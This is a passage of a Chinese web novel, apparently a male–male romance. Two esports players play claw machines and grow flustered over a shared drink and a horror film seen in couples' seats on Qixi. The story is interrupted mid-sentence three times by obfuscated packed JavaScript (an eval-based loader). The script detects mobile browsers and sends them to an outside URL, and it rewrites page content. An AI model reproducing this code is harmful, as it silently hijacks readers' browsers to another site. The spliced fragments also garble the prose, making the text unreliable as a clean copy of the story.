“没事。”夜雨辰迅速地瞥开目光并随意扯了个话题,“这两个小时的时间我们怎么打发?” 他们俩今天会出门玩完全是因为今天对他们来说算是偷来的小假期。 他们是因为惩罚提前来这个城市上课的,所以完美的避开了今天战队里所有的训练计划和出行计划。他们今天唯一有关工作的安排就是晚上回酒店的时候和自己战队队员们汇合并听听明天的课程活动安排。 他们今天白天的打算就是出门随便逛逛放松放松,然后晚上和小柯他们玩完就回酒店和战队的大家打个招呼。恰巧,郁秋有两张在欢乐商场观看的电影票,就在今天下午,所以他们现在需要等电影到点开播。 至于是什么类型的电影? 夜雨辰听郁秋介绍说是网上现在热度挺高的新电影便没具体问了,因为他平常看的电影也少。 热度高,那应该是部挺不错的片子。 但那也是几个小时后的事情。 现在的问题是做什么才能等到电影的播放时间。 郁秋思索了一下,想了几个主意:“网吧、桌游、小吃、手办?” 夜雨辰:“……” 一听就是没想好要干什么的人。 网吧呆两个小时不到就得离开,这么短的时间完全没上网的欲望;桌游,就他们两个人也没什么好玩的;小吃的话,他们明明刚吃完午饭,其他东西肯定暂时吃不下;而手办……虽然他喜欢,但购物的话不会像是情侣在约会吗?这种让人尴尬的事情还是不要做吧? Pass掉这几个选项,他只好走到扶梯旁的导视台打算看看这个商场还有没有什么其他有意思的地方。 突然,他的双眸顿时亮了起来。 他对郁秋道:“走,去三楼!” 说完,他直接快步上了楼。 郁秋还没反应过来:“啊?” 三楼是有什么东西吗? 反斗乐园:电玩城 夜雨辰看着门牌上这几个大字,心满意足的笑了。 这种地方不仅适合打发时间,氛围也完全不会给人一种在约会的感觉。 他回头看向郁秋征求意见:“怎么说?” 眼里满是“想玩”两个大字。 郁秋笑道:“我都行,听你的。” 夜雨辰在听完前半句话后就直接进去购币了。 因为电玩城里有他十分感兴趣的项目。 郁秋挑眉看着夜雨辰手里小篮子的上百个灰色硬币:“这么多?你喜欢玩推币机?” 除了推币机不停地放硬币进行游玩并获得游戏券的项目,他不知道其他什么项目能在两个小时内花这么多硬币。 “不喜欢。”夜雨辰果断答道,“我不怎么玩这种靠赌来赢的游戏。” 他看了看篮子里的硬币,耐住自顾自跑去玩的冲动,问郁秋道:“你有没有什么想玩的?” 郁秋好奇地环顾了一下四周的环境:“这种地方我来的少,除了推币机不太了解其他的。你最喜欢玩的是什么?” 夜雨辰有些惊讶:“很少来电玩城?” 郁秋点了点头:“嗯,家里在娱乐方面管得比较严。” 夜雨辰不由得感叹道:“管得严你游戏还有这技术。” 就算是再怎么有天赋的玩家,如果没花足够多的时间与精力,是绝对不可能碰到职业选手的位置的,更不用说全国第一这个顶尖名次。 郁秋好笑道:“手游的话有设备还是随便玩的,而且手机他们就没必要查了吧?那可太不自由了。” “而且他们该布置的学业任务我也提前完成了,所以就算管得严也不会掐死我所有的娱乐时间。” “有道理。”夜雨辰眨了眨眼,转身往一个地方走去,“那我带你玩个有意思的。” “……”郁秋看着自己被带到的片区,有些诧异地看向选在这儿停下的夜雨辰,“娃娃机?” 夜雨辰在这接连排着的娃娃机面前仔细地端详着里面摆放着的娃娃:“嗯。” “你对这些东西感兴趣?” “没兴趣。” 夜雨辰在一台机子面前看到里面娃娃的排放后停了下来,嘴角扬起一抹自信的笑容:“但抓娃娃的过程我就十分感兴趣了。” 郁秋在一旁扬眉:“为什么?这东西不都说是骗钱的?” “是的。”夜雨辰把装币篮放在操纵台上,顺便把手上还未喝完的奶茶递给郁秋示意对方帮忙拿一下,“但那么多人说这是骗钱的机器,根本没办法抓到娃娃,可商场上又常常能见到这些机器,特别是看到一些玩偶摆放得看上去特别容易抓到的布局,我就忍不住想尝试了。” 他拿两三个硬币投进了机器,并不屑地笑了一声:“但主要还是我不信这些东西真的抓不上来。” 不然摆那么多机器在外骗钱有什么意义?也没人制裁这个行为。 夜雨辰操纵着爪子的控制杆,抓取目标明显放在了双手扒拉着出物口的边缘、下半身卡在出物口正上方、看上去完全不舍得掉下去的熊猫玩偶上面。 他一边专注地对着爪子的位置,一边跟郁秋介绍道:“像这种卡在边缘的娃娃一般就是最吸引顾客的目标,商家确实会对爪子做一些手脚让很多人无法抓到,也是大部分人说的‘骗术’,第一反应都会抓这个熊猫的身子,但最终这个玩偶只会纹丝不动。” 郁秋看着这只熊猫的摆放,十分认真确定道:“我会抓它的头。” 选择抓熊猫身子的话,整个爪子几乎需要完全收缩回去才能抓起整只熊猫玩偶,而且听说娃娃机的爪子一般会在收缩的过程中微不可察地松一下刚抓到的物品,那不如选择抓它的头,这样爪子升到一半便可以让熊猫的头竖起来,手便无法抓牢出物口的边缘直接掉下去,还可以规避“松爪”的陷阱。 “噗。”夜雨辰没忍住轻笑一声,“我刚玩的时候也是这么想的,可惜——” 他按照郁秋的说法对准了熊猫的头,并按下了“抓取”键。 爪子缓缓下落,直直的地套紧了熊猫的头,开始准备往上升。 “这也是个陷阱。” 郁秋一愣。 下一秒,只见似是用了十足力的爪子就这么给熊猫的头部稍稍提起了些许高度,然后爪子便像力竭般再也抓不起这只熊猫,不甘地松开了熊猫的头,孤零零地收了回去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081160|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “爪子除了有众所周知的‘松爪’,还有个陷阱就是‘用力的大小’。” 夜雨辰一边解释着,一边投入新的硬币开始操作,“但这个东西是我玩过后才知道的,不过有些商家确实就是坑钱,完全不给爪子设置一点抓力,就要你明明看着这个礼品明明唾手可得,却一直无法拿到手的抓心挠肺感,然后为此花钱。” 夜雨辰不停地晃动着操作杆:“但这个爪子的力还是有的,而且这个商家也没把爪子固定地很死。” 这次爪子在下落的过程中,竟然不同刚刚,在下落的时候歪着抓到了熊猫玩偶的半个头,然后缓缓往上升。爪子一如既往地松开了些许,但下一秒,爪子居然带起了刚刚无法抓紧的熊猫的头。 郁秋瞬间恍然大悟其中的门道。 夜雨辰弯下腰在出货口拿出抓到的熊猫:“这叫‘甩爪’,挺耐用的一个小技巧。” 不停晃动操纵杆甩起爪子并对准目标下落,这样爪子下落的时候一般会歪着抓住目标,在回收的时候就会多一个摆正爪子的力。利用这个力,可以将娃娃打进出货口。 “从一开始的不信邪,到开始尝试抓取,并自己寻找这个的技巧,我觉得这个过程和心理变化都挺有趣,也让我挺上瘾的,所以虽然我现在也不是随便抓一个就能抓到,只是刚刚好这只摆放的比较容易抓而已。” 夜雨辰打量着这只熊猫玩偶,看向郁秋:“送你,要吗?” 郁秋好笑道:“太丑嫌弃了?” 夜雨辰摇了摇头:“这只做工很精致,所以送你。” 他对娃娃完全没兴趣,他享受的只是抓娃娃的过程,但这只娃娃比平常他抓过的都好看不少,丢了或直接送其他人有些可惜。 郁秋嘴角一勾:“定情信物?” “……”夜雨辰顿时想起来今天是什么日子,直接把娃娃收回自己怀里,“不要算了。” “开玩笑的。”郁秋忍俊不禁,然后低头看了一眼自己双手拿着的两杯奶茶,“但我现在的手都比较忙,抽不出来。” “……”夜雨辰带着发红的耳根抓过身,“我去找前台要个袋子。” 丢下这句话后,他便快步离开了这里。 没过多久,他拿着一个装着熊猫玩偶的大塑料袋回到了娃娃机区。 只见郁秋像夜雨辰刚到这片区域的模样,正观察着每个机子里面的娃娃摆放。 “啊,”郁秋注意到夜雨辰回来了,站在一个想尝试的机子面前对他道,“我也想抓几把试试看。” 人就是这样,刚学到什么新鲜有趣的知识后就非常渴望上手尝试。但他手上的两杯奶茶没合适的地方放,放脚边怕被不小心踢翻。 “我来。”夜雨辰把大塑料袋放在二人的脚边后,直接从郁秋手里接过二人的奶茶。 郁秋终于可以放手开干了。 他立马向机子里投进两个硬币,直接开始试着上手操作。 夜雨辰这时的注意力才往机子里的玩偶放了过去,下一秒,他嘴角一搐。 这台机子里摆放着全是亮粉配着铜色和深紫色、五官错位、根本看不出究竟是什么玩意的玩偶。 真不愧是郁秋,直接选了个他刚刚扫了一眼就直接略过的机子。 他幽幽瞥开嫌弃的目光,喝着奶茶冷静冷静。 冰凉的液体刚划过味蕾,夜雨辰整个人突然僵住了。 奶茶并没有第一时间被吞咽下去,他反复地确认品尝着嘴里滞留的味道。 甜。 甜味十足。 他有些僵硬地松开嘴里的吸管,目光缓缓往下移,看向右手里的奶茶标签上标注的糖分——“半糖”。 标注的不是无糖,这是郁秋的奶茶。 夜雨辰:“…………” 脑子突然陷入一片空白。 艹,这算什么? 间接接吻? 67. 电影 夜雨辰的脑子瞬间宕机了,整个人愣在原地。 “唉,又差一点。” 这时,郁秋在尝试用夜雨辰教的甩爪操作成功收获了三团空气后叹了口气,无奈地回头道,“夜雨辰……咳,夜哥,可以帮我抓——” 话未说完便戛然而止,他看着夜雨辰僵在原地一动不动、表情怪异地看着手里的奶茶的样子,察觉到了一丝不对劲:“你怎么了?” “没事。”夜雨辰回过神来,若无其事地咬上自己奶茶的吸管并幽幽地瞥开视线,语气有些不自然道,“你刚刚说帮你什么?” 郁秋笑着指了指自己面前的娃娃机:“这个我抓不起来,十分需要夜哥你这样的高手帮忙。” “行。”夜雨辰完全不经过思考就答应了。他垂眸走到郁秋旁边后看也没看一眼郁秋,直接把目光放到了机器里娃娃排放观察着,顺便胡乱地把郁秋的奶茶塞回给了他:“你的奶茶拿好。” 郁秋接过奶茶,似乎完全没察觉到夜雨辰的不对劲,悠悠道:“我还有个请求。” 夜雨辰依旧没把目光放到郁秋身上,“你说。” “可以一起玩吗?” “什么?”夜雨辰一怔,这才转过头疑惑地看向郁秋。 只见郁秋十分自然地喝了一口奶茶。他似乎完全没注意到夜雨辰缓缓瞪大地双眸,还在在为自己提出这个要求而感到些许尴尬:“我想体验一次抓到娃娃的成就感,所以可以一人操作一半吗?我操控方向。” 夜雨辰的注意力完全在郁秋一张一合的嘴唇上:“…………” 感觉自己的脸在发烫。 他干咳一声,立马把将头扭了回来并把注意力重新放回娃娃机里并投了两个币进去,“那你听我指挥。” 他深吸一口气,丢掉自己刚刚看到的画面,全然把注意力看向爪子的移动。 冷静、冷静、专注点,不要去想一些其他的东西…… 脑子里闪过一瞬郁秋的薄唇轻含吸管的画面。 夜雨辰声音有些发哑:“……往右一点。” 刚刚是个意外才不小心喝错奶茶的,就那一小口,郁秋肯定察觉不到异样。 脑海里顿时浮现出郁秋喉结随着吞咽上下滚动的画面。 这算亲了又亲吗…… 夜雨辰轻咳一声,立马撇开这个想法:“往回来拉一点,顺便再往后挪一些。” 自己装作什么都不知道就好了,别想太多,别想太杂。 反正郁秋肯定不会知道的。 夜雨辰开始不停地摇晃着操作杆,目光一直放在不停晃动地爪子的朝向。 突然,他的余光扫到了到娃娃机后的反光镜——郁秋一手操作着方向杆,一边正从容地喝着奶茶。 夜雨辰:“…………” “砰!” 一声巨大的锤机器声响起,娃娃机的爪子晃悠悠地开始下落。 郁秋被这突兀的声响吓了一跳:“这个按钮不是轻轻按一下就下落了吗?” 夜雨辰目光死死地盯着被抓上来的娃娃,面无表情道:“嗯,你选的方向角度太刁钻了,我找不到机会,急眼了。” 嘴上是这么说,但他脑子里现在只不断地响着一道声音—— 间接接吻等于接吻,初吻等于接吻…… 所以这算他的初吻吗?他的初吻还在吗? 郁秋轻笑道:“那机器被锤坏了怎么办?” 夜雨辰冷冰冰道:“怪你,你赔钱。” 说完,他看也不看郁秋一眼直接去取抓到的战利品。 趁着夜雨辰弯腰拿战利品的这几秒,郁秋不经意地将目光落在了自己奶茶杯上插着的那根三品管上,并意味深长的看着吸管口下那一排浅浅的凹印。 他刚刚拿回奶茶的第一时间就是看一眼奶茶上的糖分标签确认这是不是自己点的奶茶。 恰巧,他余光注意到了吸管上这一块的小印记。 一个陌生的牙印。 郁秋嘴角就没忍住向上勾起,再次细细品尝了一小口奶茶。 不是错觉,奶茶比刚买的时候甜了很多。 因为他可从没有咬吸管的习惯。 * 两个小时后,电影院门口。 夜雨辰此时已经完全冷静下来了。他看着郁秋的模样,嘴角一抽:“你能不能把你脖子上那玩意取下来?袋子又不是装不下。” 郁秋低头看向自己脖子上挂着的铜色皮肤配粉色毛发、身穿深紫色衣服、眼睛被缝合的一大一小、歪嘴斜鼻的长臂猿玩偶,没忍住用手戳了一戳它的脸,疑惑道:“为什么?这不挺可爱的吗?” “……”夜雨辰顿时想起这人的睡衣衣品,扶额道:“我一直想问,就没有人夸过你这别具一格的审美吗?” 他在看到这只玩偶的全貌后脑子便清醒了不少,并对帮郁秋抓这只玩偶后悔到现在。 这长臂猿实在是丑得惨绝人寰,已经可以标榜为他抓娃娃历程以来的战利品中的“黑历史之最”了。 而郁秋这家伙居然发自真心地对它爱不释手,而且无论如何都要把这玩偶挂在脖子上“炫耀”? 对,这两个小时他们俩玩其他项目的时候,郁秋一直把这只长臂猿挂在脖子上,夜雨辰整张脸都黑了。 要不是因为郁秋一只手还抱着自己送给他的熊猫也不装进装着其他战利品的袋子,他已经忍不住想揍人了。 郁秋点了点头,谦虚道:“他们都这么夸我的,谬赞了。” “……” 夜雨辰深吸一口气。 确实谬赞。 他揉了揉自己的眉心,咬牙道,“我去取票。” 他是真的不想看到这只“黑历史”在他面前晃眼了。 进影厅后,夜雨辰按照票上标的位置走到了电影院的最后一排。他看着那一排的座位,回头看向郁秋,挑眉道:“情侣座?” 表情根本看不出是喜是怒。 “……”郁秋看向最后一排那两个连在一起、中间没有扶手、而左右两边都竖着隔板的小沙发,没忍住干咳两声,“要不将就下?反正也是两个位置。” 夜雨辰为了不挡住别人找位置的路,只好先和郁秋一起一人一边坐在这个位置上。等郁秋在自己旁边落座后,他冷哼一声:“这个节日买这种座位,你认真的?故意的?” 七夕节买情侣座,和告知别人他们俩是情侣有什么区别? 郁秋有些支支吾吾:“我……” 他也没这个胆子在这个节日干这种越界官宣的事情啊! 可他也不能直接说这是小柯说的“七夕节最值得带对象去看的影片”并免费提供给他了一个如此好的约会机会吧? 不过没想到的是,这票居然是情侣座…… 怪不得小柯会说“便宜他了”。 “算了,买都买了,不重要了。”夜雨辰打断他的话,撇嘴道,“这正中央的位置倒是选得挺好,视角好。” 听到对方没有继续追问下去,郁秋心里默默松了口气。 电影还未开播,夜雨辰只好刷会手机打发打发时间,而郁秋也暂时老实地把装着娃娃的袋子放到二人中间,情侣座硬生生变成两个分开的座位。 这段时间,他们面前经过好几对找位置的情侣—— “哇塞,宝宝你看他们俩!” 一道惊讶的女声小声地传进了夜雨辰的耳朵。 “噫。”一道充满嫌弃的男声接踵而至。 夜雨辰皱起了眉。 “你什么意思?”那女生立马生气地打了一下那个男生,“我惊讶不是为了听你这恶心人的声音的,能不能学会尊重别人?” 那男生立马道歉道:“宝宝对不起我错了嘛。” …… 这对情侣一走远,夜雨辰就默默地拉开一点和郁秋的间隔距离,仿佛在避嫌。 这时,又有一对情侣从他们面前经过,小声但又不小声的声音再次落进了夜雨辰的耳朵里—— “老公,他们俩怎么中间隔得这么开?都一起来看电影了还会吵架吗?” “不管别人家小情侣的私事,我们不吵就好宝宝。” 夜雨辰:“……” 耳根子又忍不住有些发烫。 这时,他旁边传来一道塑料袋的摩挲声,下一秒,他就感觉自己坐的坐垫又向下凹了一些。 他刷手机的手一顿,偏头看向这个挪到自己旁边的郁秋,冷漠道:“你干什么?” “我们,”郁秋干咳两声,小心翼翼的问道,“没在吵架吧?” “……” 夜雨辰没忍住翻了个白眼。 很明显,郁秋也听到了那一对情侣的话。 他没好气道:“首先,我们不是情侣;其次,你哪门子看出来我们在吵架?” 电影院的灯光在这时熄灭,电影即将开播。 趁着黑暗的环境,郁秋又往夜雨辰旁边贴着靠近了些。 他微微低下头,在夜雨辰耳边有些委屈道:“那为什么我们坐得那么远?” “……” 夜雨辰感受着耳边的吹起,呼吸微微一滞。 他往后挪了挪,直到靠在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081161|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙发的扶手上才对郁秋嫌弃道:“你和你的长臂猿一起坐去,离我远点。” “哦。” 似是察觉夜雨辰有些生气,郁秋心不甘情不愿的坐了回去。 但这次,他没把隔开两人的娃娃袋放在沙发中间,夜雨辰也没察觉到这一点。 电影开始播放,夜雨辰的手肘抵在扶手上,手托着脸,兴致缺缺地看着这部所谓“热度高”的电影。 他对电影不太感冒,所以不是过烂的片子他一般都能接受。 电影名叫《灵楼》,刚开场便是主人公拖着一个大行李箱进入了一栋大楼里。 看到这个场景,夜雨辰稍稍皱起了眉头。 是个很正常的场景,但是…… 为什么这栋楼的走廊闪烁着诡异的绿光,墙壁上还残留着红到发黑、疑似被溅上鲜血的残痕? 气氛看上去有点不对劲。 夜雨辰吞了口唾沫,他有些紧张的摩挲了一下手指,渐渐坐直了身子。 主人公像是瞎子一样完全没察觉到走廊里任何的不对劲。他停在破旧发锈的电梯门门前,等待着电梯门缓缓打开。 “嘎吱嘎吱”的刺耳声环绕着整个影厅,电梯间像是在欢迎主人公的到来,幽蓝色的灯光在他的头顶不停地闪烁着。 周围的温度似乎开始降低,夜雨辰感觉鸡皮疙瘩爬上了他的胳膊。 “嘶。” 这时,他听到了挡板另一边情侣的说话声—— 男声笑着安慰道:“宝宝不怕不怕,我在呢。” “……” 夜雨辰的脸色瞬间沉了下来。 他好像意识到什么了。 他小心翼翼地挪到正全神贯注地看着电影的郁秋旁边。 不知道郁秋是不是因为刚刚他说的那句话,现在居然把脖子上的长臂猿取了下来,但夜雨辰现在根本在意不了那么多。 他哑声道:“喂。” 郁秋这才注意到夜雨辰坐到了自己旁边,疑惑道:“怎么了?” 夜雨辰沉默了片刻才缓缓开口:“你知道这电影是什么类型的吧?” 毕竟这是郁秋选的电影。 郁秋回忆了下:“好像是恐怖片来着?” 夜雨辰的呼吸微微一顿。 须臾,他咬牙道:“恐怖程度呢?” “重恐。” “………………” 夜雨辰的眼神瞬间视死如归。 “砰!” 突然,电梯间发出了一道重重地闷响声。 所有观众包括夜雨辰和郁秋下意识往声源处看了过去—— 电梯像撞到了什么东西卡住了,无法继续向上运行,只好在原地一下、一下地晃动着。 电梯间里,显示层数的的橙色数字“18”诡谲地闪烁着,幽蓝色的灯光在不知不觉中被暗红色逐渐取代。 电梯门像被看不见的东西一样缓缓掰开,门与地板的摩擦声宛如指甲刮着黑板般刺耳,暗红色的灯光随之在头顶开始不断地闪烁,像在热烈恭迎着灯光下的人即将来到死亡炼狱。 夜雨辰坐在屏幕正中央感受着这光线的视觉冲击,冰冷刺骨的感觉逐渐爬上他的背脊,他的双拳不知不觉握紧了。 视线穿过电梯门狭小的门缝,伸手不见五指的黑色越来越深…… 电梯后究竟会是什么东西…… “哗!” “啊!” 画面倏地一变,影厅里顿时响起各种各样的惊叫声。 郁秋看着这个画面,疑惑的眨了眨眼。 接着,他垂眸看向这个突然缩进他怀里、正有些颤抖的人,好笑道:“一堵墙而已,没这么夸张吧?” 埋在颈窝里的人顿了顿。他缓缓抬起头,眸光带着些许波动看着郁秋,声音有些颤道:“……我可没叫。” “这个我作证。”郁秋莞尔,指了指这双环在他肩膀上的手臂:“但你的手是?” 夜雨辰立马答道:“意外。” 他把头一瞥,重新看向电影大屏幕,并缓缓松开了紧紧环在郁秋身上的双臂。 “哐!” 主人公刚踏出电梯,电梯门就被猛地迅速关上。 还没完全松开的手被声音吓得再次抱紧,并且更加用力。 夜雨辰紧闭着眼睛,头深深地埋进郁秋的颈窝里,手臂因过度用力而带着整个身体微微颤抖着。他咬紧牙关,硬生生的从喉咙里憋出一句话—— “郁秋,我艹你大爷。” 选个重恐电影就算了,为什么还要买正中央的位置啊?! 68. 依偎 电影才不会因为观众被吓到而暂停播放。 黯淡的视线范围和时不时响起的瘆人声,仿佛随时会有个东西蹦在眼前,让人不得不紧张到神经绷直。 不过,在骂完郁秋后,夜雨辰看也没看一眼大银幕,甚至头也没抬一下。依旧维持着刚刚的姿势——头深深地埋在郁秋的颈窝里,紧紧贴着对方的肌肤,清新好闻的柠檬味随之钻入鼻尖。 夜雨辰紧绷的神经不由自主的放松了些。 还挺好闻,给人一种说不出的安心感。 这时,一道极小的亲昵声贴着他耳边响起:“你是在害怕吗?” 听上去完全没介意刚刚他骂的那句话。 夜雨辰想也没想:“不怕。” 这时,电影突然发出一道嘶哑的诡谲声。 听到这个声音,夜雨辰全身一抖,又往里缩了缩。 不知道是不是错觉,自己抱着的人好像也同时激灵了下? “那要不我们离场?” 郁秋的声音好像比刚刚低沉了些,但不失刚刚的温柔。 夜雨辰直接抬头看向郁秋,皱眉道:“离场干嘛?说了我不怕。” 现在就离场岂不是明摆着怕到受不了了? 话刚说完,他便愣住了。 一抬头才发现,他的鼻尖几乎贴上郁秋的下颚了。 好近。 夜雨辰这才意识到自己现在的姿势有多尴尬。 他有些慌乱的松开手往后靠了靠,顺便扭过头直接将视线正对着大银幕,像是在给郁秋证明自己确实不怕。。 不过在这个过程中,他借着电影打在他们身上的黯淡光线顺势瞥了一眼郁秋对自己这个样子的反应—— 他看得很清楚,自己松手前,郁秋的表情写满了复杂,像写着介意他这个比较非礼的行为;松手后,他则是稍稍地松了一口气? “……” 夜雨辰的眸光沉了沉。 突然有点不开心。 “嗬!” 霎时,黑暗的空间闪烁起诡异的绿光,紧接着,一个五官扭曲的惨白面庞突兀地占满了整个大银幕。 许多观众的惊叫声脱口而出。 夜雨辰同样也看到了这个画面,但他很好的把声音压死在喉咙里,没发出一丁点声音。 只不过等他脑子反应过来的时候,他发现自己又黏在郁秋的身上了。 以熟悉的姿势。 郁秋此时的动作也比较滑稽,他双手举起,一点都没碰到夜雨辰的肢体,完全给人一种就是在避嫌的感觉。 “我……” 夜雨辰意识到自己在这短短时间内接连做出往别人身上蹭的非礼动作后,有些无措地砸了咂舌。 要是这人再问自己是不是害怕,先不说对方会不会信,他自己都完全没法理直气壮的说出来“不怕”这两个字。 郁秋的手依然举着,他低头和夜雨辰对视上:“嗯?” 看着对方耐心等待自己回答的表情,夜雨辰沉默了。 又是这种熟悉的温柔和完全没介意他这个举动的语气。 而且,明眼人都能看出自己是在害怕,他可不信郁秋眼瞎到看不出来。 所以为什么不拆穿这完全没有说服力的谎言? 难道是……在维护自己的面子? 思考了半晌,夜雨辰一咬牙,直接把头重新埋回郁秋的颈窝里,不情不愿地吐出了一个字,“怕。” 算了,反正又不是没在这家伙面前放下面子过,那再放一次也没什么吧? 郁秋轻笑一声:“那要不我们不看了?” 夜雨辰摇头:“看。” “不是怕吗?” “看,不走。” 见状,郁秋只好妥协地叹了口气:“那你想走的时候时候和我说一声?” 夜雨辰点了点头:“嗯。” 他是真的不打算走,虽然害怕。 一是就这么离开电影院是真的很丢人,二是他不想因为自己的原因坏了郁秋的观影计划。 反正郁秋看上去似乎不怕这个重恐影片,所以他也会因为郁秋不怕而增加一些心里的安全感。 “但,”郁秋突然开口,“你就打算一直保持着这个姿势看下去吗?” 夜雨辰全身一滞。 随即,他的双臂紧了紧,同时点了下头:“嗯。” 郁秋吞了口唾沫,随即有些无奈道:“那我举着的胳膊放哪?” 刚刚夜雨辰第一次直接抱住他的时候他的胳膊被压得不舒服,但要这样一直举着也不是事啊。 夜雨辰思索了一下。 他抽出环着郁秋后颈的手,直接抓向郁秋的手腕然后拉到自己的肩膀上,泰然自若道,“放我身上。” 这样郁秋的胳膊不仅不会酸,他的后背也有安全感了。 反正自己现在这个姿势已经很丢脸了,那再丢点也没什么。 让自己有足够的安全感熬过这两个小时就好。 郁秋没有给出回应。 他的手在被夜雨辰抓到后就乖乖的顺从指引,静静地搭在了夜雨辰的肩上。 不过,人在这种光线极暗且心生恐惧的时候,身体的感触就会变得十分敏感。 夜雨辰十分清晰地感受到郁秋胳膊的重心完全没放在他的身上,像在做做样子搭在他的身上,但实际上还是刻意举着胳膊。 给人一种十分小心翼翼、完全不太想碰到他的感觉。 夜雨辰:“……” 不知道为什么,他脑子里突然响起刚刚电影开播前,有个人在看到他和郁秋坐情侣座后发出的刺耳的嫌弃声。 所以,郁秋是在嫌弃他这种行为太容易让人误解所以不想碰他吗? 好像这样也可以解释为什么他会问举着的胳膊该放哪了。 但他这种害怕的应激行为也会被嫌弃吗? 明明小时候看到吓人东西的时候,他也是这么钻入他爸妈的怀里的。 夜雨辰深吸一口气。 莫名有点委屈。 虽然是自己怕鬼所以导致了现在的尴尬场面、虽然是自己没问清楚这究竟是一部什么类型的电影就来看的,但,恐怖电影是郁秋选的、座位也是他选的正中间、问要不要离场的人也是他。 嘴上明明很温柔而且尊重自己的想法,但行为为什么要这么膈应人? 一番思考下,夜雨辰的心情更不好了。 他不开心地在郁秋的肩膀上蹭了蹭,闷闷道,“郁秋。” 郁秋声音有些沙哑:“怎么了?” “我讨厌你。” “……”郁秋瞬间沉默了,甚至全身都没发出任何动作。片刻后,他才问道,“为什么?” 夜雨辰撇了撇嘴:“没为什么。” 突然,他直接抓向肩上郁秋的手腕并用力往下拉,在确认郁秋手臂的重心完全搭在自己身上后,他才冷哼一声松开了手,没好气道道,“让你放就放,悬在空中我都替你感到难受。” 他面子都放下了,才不要受委屈呢。 而且脸丢都丢了,那丢得再彻底一些也没什么。 反正只要他不尴尬,尴尬的就是郁秋。 郁秋似乎还没反应过来夜雨辰这突然的举动,夜雨辰的手一松开,他的手臂便像失去了支撑力,顺着夜雨辰的后背向下掉落,指尖恰好隔着夜雨辰的衬衫滑过腰线。 “!!” 夜雨辰双眸瞪大,全身下意识一紧。 喉咙深处情不自禁发出一道低吟但又被他立马压了回去,最终只发出了一道几乎无法察觉的声音。 但这一刺激已然让他下意识弓起了腰,更贴紧郁秋了。 夜雨辰双拳握紧,耳根子又开始发烫。 他这地方一被碰到就很痒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081162|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后无意识的全身做出应激反应。 他咬紧牙关,在郁秋耳边寒声道:“你tm别碰我腰!” 郁秋没忍住干咳了两声,这才开口道:“不好意思,刚刚分神了。” 说着,他把手臂重新抬起,放在了夜雨辰的肩上。 但抬起的过程中,不知是不小心还是故意的,郁秋又滑过了刚刚的部位。 夜雨辰全身一颤。 “郁、秋。” 在全身放松下来后,夜雨辰忍住呼出一拳的冲动,一字一句道,“我不管你是有意还是无意的,你再碰一次,我直接把腿也搭你身上。” 你不是嫌弃我吗,那我就让你又嫌弃我又抛不开我。 “别。” 郁秋脱口而出。 他拿起矿泉水,以别扭的姿势喝了一口水冷静冷静,然后把手重新放回夜雨辰的肩上,哑声道,“不会碰了,夜哥您大人有大量。” 千万别把腿也搭在他身上。 夜雨辰一噎:“……” 听到这种话反而更不悦了。 他只好把头转向大银幕,咕哝道:“继续看电影。” 心情不好,恐怖电影都好像没那么可怕了。 郁秋点头:“嗯,好。” 顺势也将目光放向了大银幕。 不过,嘴上是这么说,但他现在哪还有心情看电影? 他悄悄垂眸,看向自己怀里的这个人。 希望夜雨辰不会感受到自己身上的异样。 他从夜雨辰扑到自己身上开始到现在,一直在尽量控制着自己的呼吸保持平稳,甚至注意着自己的吞咽节奏是否正常。 但他的心脏早已快跳出来了。 夜雨辰像十分胆小的小孩。 害怕到在他怀里乱钻,细柔的发丝胡乱的在他肌肤上不停地乱蹭,发丝上的洗发水味随之钻入他的鼻尖,告知着他,这不是梦。不仅如此,这小家伙说话的时候非要贴着自己说,薄唇时不时蹭过他的肌肤又一触即离,温热的吐息也一并喷洒在相同的位置,酥痒感连绵不断。 就像到现在,他脖子那一块依旧时不时就能感受到夜雨辰嘴唇和鼻尖的刮蹭以及厚重的呼吸,难受得他抓心挠肺。 要知道,脖子这一块本就是人的敏感处之一。 所以他才问夜雨辰要不要离场。 不仅是因为对方害怕恐怖片,更主要是他有点受不了这种黑暗环境下不停地刺激。 至于刚刚为什么手没有直接搭在夜雨辰的肩上……要不是对方嘴上完全说了允许,他确实不敢碰,没这个胆量。 但现在既然允许了,那以他们现在的姿势……叫什么词来着? 啊对。 依偎。 郁秋没忍住舔舐了下有些发干的嘴唇。 七夕节,确实适合看这部电影。 他面无表情地看向电影的大银幕,眼睛一眨不眨地看着画面里的群魔乱舞。夜雨辰像是好奇电影究竟在放着什么,时不时的会偷偷的瞟过去一眼,但下一秒,他又会被吓到而迅速缩进郁秋的怀里。 郁秋总会顺势把夜雨辰往自己怀里揽了揽,像是在安慰他别怕。 二人只有肢体上的接触,但完全没有了沟通。 